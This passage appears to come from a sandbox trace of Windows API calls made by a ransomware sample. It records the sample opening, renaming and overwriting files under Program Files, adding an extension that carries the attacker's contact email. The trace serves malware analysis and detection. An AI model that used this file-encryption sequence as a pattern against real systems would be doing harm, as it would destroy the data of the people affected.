ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4ce37771, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x37ffd20, dwReserved1=0x706c9d8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5400 [0226.392] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0226.392] Sleep (dwMilliseconds=0x1) [0226.401] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml", len=0x49 | out: pbstr=0x37fff7c*="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned 1 [0226.401] GetProcessHeap () returned 0x630000 [0226.401] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x524c) returned 0x6fe3bb0 [0226.401] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\renderingcontrol.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.402] Sleep (dwMilliseconds=0x1) [0226.478] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png", len=0x40 | out: pbstr=0x37fff7c*="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png") returned 1 [0226.478] GetProcessHeap () returned 0x630000 [0226.478] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5240) returned 0x6fe3bb0 [0226.479] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.479] Sleep (dwMilliseconds=0x1) [0226.526] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml", len=0x4e | out: pbstr=0x37fff7c*="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned 1 [0226.526] GetProcessHeap () returned 0x630000 [0226.526] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5238) returned 0x6fe3bb0 [0226.526] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\connectionmanager_dmr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.527] Sleep (dwMilliseconds=0x1) [0226.604] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml", len=0x44 | out: pbstr=0x37fff7c*="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml") returned 1 [0226.604] GetProcessHeap () returned 0x630000 [0226.604] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5234) returned 0x6fe3bb0 [0226.604] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\avtransport.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.607] Sleep (dwMilliseconds=0x1) [0226.658] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\en-US\\wmlaunch.exe.mui", len=0x3c | out: pbstr=0x37fff7c*="C:\\Program Files\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned 1 [0226.658] GetProcessHeap () returned 0x630000 [0226.658] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5224) returned 0x6fe3bb0 [0226.658] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmlaunch.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmlaunch.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.659] Sleep (dwMilliseconds=0x1) [0226.669] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe", len=0x54 | out: pbstr=0x37fff7c*="C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe") returned 1 [0226.669] GetProcessHeap () returned 0x630000 [0226.669] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5210) returned 0x6fe3bb0 [0226.669] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe" (normalized: "c:\\program files\\windows defender advanced threat protection\\sensesampleuploader.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.678] Sleep (dwMilliseconds=0x1) [0226.691] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\UNP\\smartftp.exe", len=0x21 | out: pbstr=0x37fff7c*="C:\\Program Files\\UNP\\smartftp.exe") returned 1 [0226.691] GetProcessHeap () returned 0x630000 [0226.691] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51a8) returned 0x6fe3bb0 [0226.691] CreateFileW (lpFileName="C:\\Program Files\\UNP\\smartftp.exe" (normalized: "c:\\program files\\unp\\smartftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.691] Sleep (dwMilliseconds=0x1) [0226.704] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x37fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgradeth2.xml") returned 1 [0226.704] GetProcessHeap () returned 0x630000 [0226.704] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5160) returned 0x6fe3bb0 [0226.704] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0226.995] CloseHandle (hObject=0x684) returned 1 [0226.995] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.996] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.007] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f80 [0227.007] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0227.007] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0227.007] GetProcessHeap () returned 0x630000 [0227.007] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2500 [0227.007] GetProcessHeap () returned 0x630000 [0227.007] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0227.007] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.008] ReadFile (in: hFile=0x684, lpBuffer=0x6e2500, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2500*, lpNumberOfBytesRead=0x37fff0c*=0x160, lpOverlapped=0x0) returned 1 [0227.010] GetProcessHeap () returned 0x630000 [0227.010] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177948 [0227.010] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.010] WriteFile (in: hFile=0x684, lpBuffer=0x6e2830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesWritten=0x37fff0c*=0x160, lpOverlapped=0x0) returned 1 [0227.010] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.010] WriteFile (in: hFile=0x684, lpBuffer=0x6e298f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e298f*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0227.010] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.010] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0227.011] CloseHandle (hObject=0x684) returned 1 [0227.011] GetProcessHeap () returned 0x630000 [0227.011] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0227.011] GetProcessHeap () returned 0x630000 [0227.011] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2500 | out: hHeap=0x630000) returned 1 [0227.011] GetProcessHeap () returned 0x630000 [0227.011] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177948 | out: hHeap=0x630000) returned 1 [0227.011] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.011] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d42d819, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x37ffd20, dwReserved1=0x6e2500, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5000 [0227.011] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0227.011] Sleep (dwMilliseconds=0x1) [0227.057] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\index.html", len=0x6f | out: pbstr=0x37fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\index.html") returned 1 [0227.057] GetProcessHeap () returned 0x630000 [0227.057] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5154) returned 0x6fe3bb0 [0227.057] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0227.113] CloseHandle (hObject=0x684) returned 1 [0227.113] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0227.113] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0227.117] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0227.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa29c, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d53c0 [0227.117] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0227.117] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ro-ro\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0227.117] GetProcessHeap () returned 0x630000 [0227.117] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa2a1) returned 0x72dc4e8 [0227.118] GetProcessHeap () returned 0x630000 [0227.118] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa2a1) returned 0x72e6798 [0227.118] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.118] ReadFile (in: hFile=0x684, lpBuffer=0x72dc4e8, nNumberOfBytesToRead=0xa280, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72dc4e8*, lpNumberOfBytesRead=0x37fff0c*=0xa280, lpOverlapped=0x0) returned 1 [0232.415] GetProcessHeap () returned 0x630000 [0232.415] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71774e8 [0232.415] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.415] WriteFile (in: hFile=0x684, lpBuffer=0x72e6798*, nNumberOfBytesToWrite=0xa280, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e6798*, lpNumberOfBytesWritten=0x37fff0c*=0xa280, lpOverlapped=0x0) returned 1 [0233.342] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.342] WriteFile (in: hFile=0x684, lpBuffer=0x72f0a17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f0a17*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.908] SetFilePointerEx (in: hFile=0x684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.908] WriteFile (in: hFile=0x684, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.909] CloseHandle (hObject=0x684) returned 1 [0233.922] GetProcessHeap () returned 0x630000 [0233.922] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e6798 | out: hHeap=0x630000) returned 1 [0233.922] GetProcessHeap () returned 0x630000 [0233.922] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72dc4e8 | out: hHeap=0x630000) returned 1 [0233.922] GetProcessHeap () returned 0x630000 [0233.922] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71774e8 | out: hHeap=0x630000) returned 1 [0233.922] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0233.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x91ab8c63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x515ecbe5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa2c0, dwReserved0=0xc507496, dwReserved1=0x72dc4e0, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4ec0 [0233.922] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0233.922] Sleep (dwMilliseconds=0x1) [0235.596] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x37fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgrade.xml") returned 1 [0235.596] GetProcessHeap () returned 0x630000 [0235.596] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ffc) returned 0x6fe3bb0 [0235.596] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0235.596] CloseHandle (hObject=0x6f8) returned 1 [0235.596] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.597] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.676] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5400 [0236.815] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0236.815] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0236.815] GetProcessHeap () returned 0x630000 [0236.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665318 [0236.815] GetProcessHeap () returned 0x630000 [0236.815] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665580 [0236.815] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.815] ReadFile (in: hFile=0x6e4, lpBuffer=0x665318, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x665318*, lpNumberOfBytesRead=0x37fff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.819] GetProcessHeap () returned 0x630000 [0236.819] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0236.819] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.819] WriteFile (in: hFile=0x6e4, lpBuffer=0x665580*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x665580*, lpNumberOfBytesWritten=0x37fff0c*=0x220, lpOverlapped=0x0) returned 1 [0236.819] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.819] WriteFile (in: hFile=0x6e4, lpBuffer=0x66579f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x66579f*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.819] SetFilePointerEx (in: hFile=0x6e4, 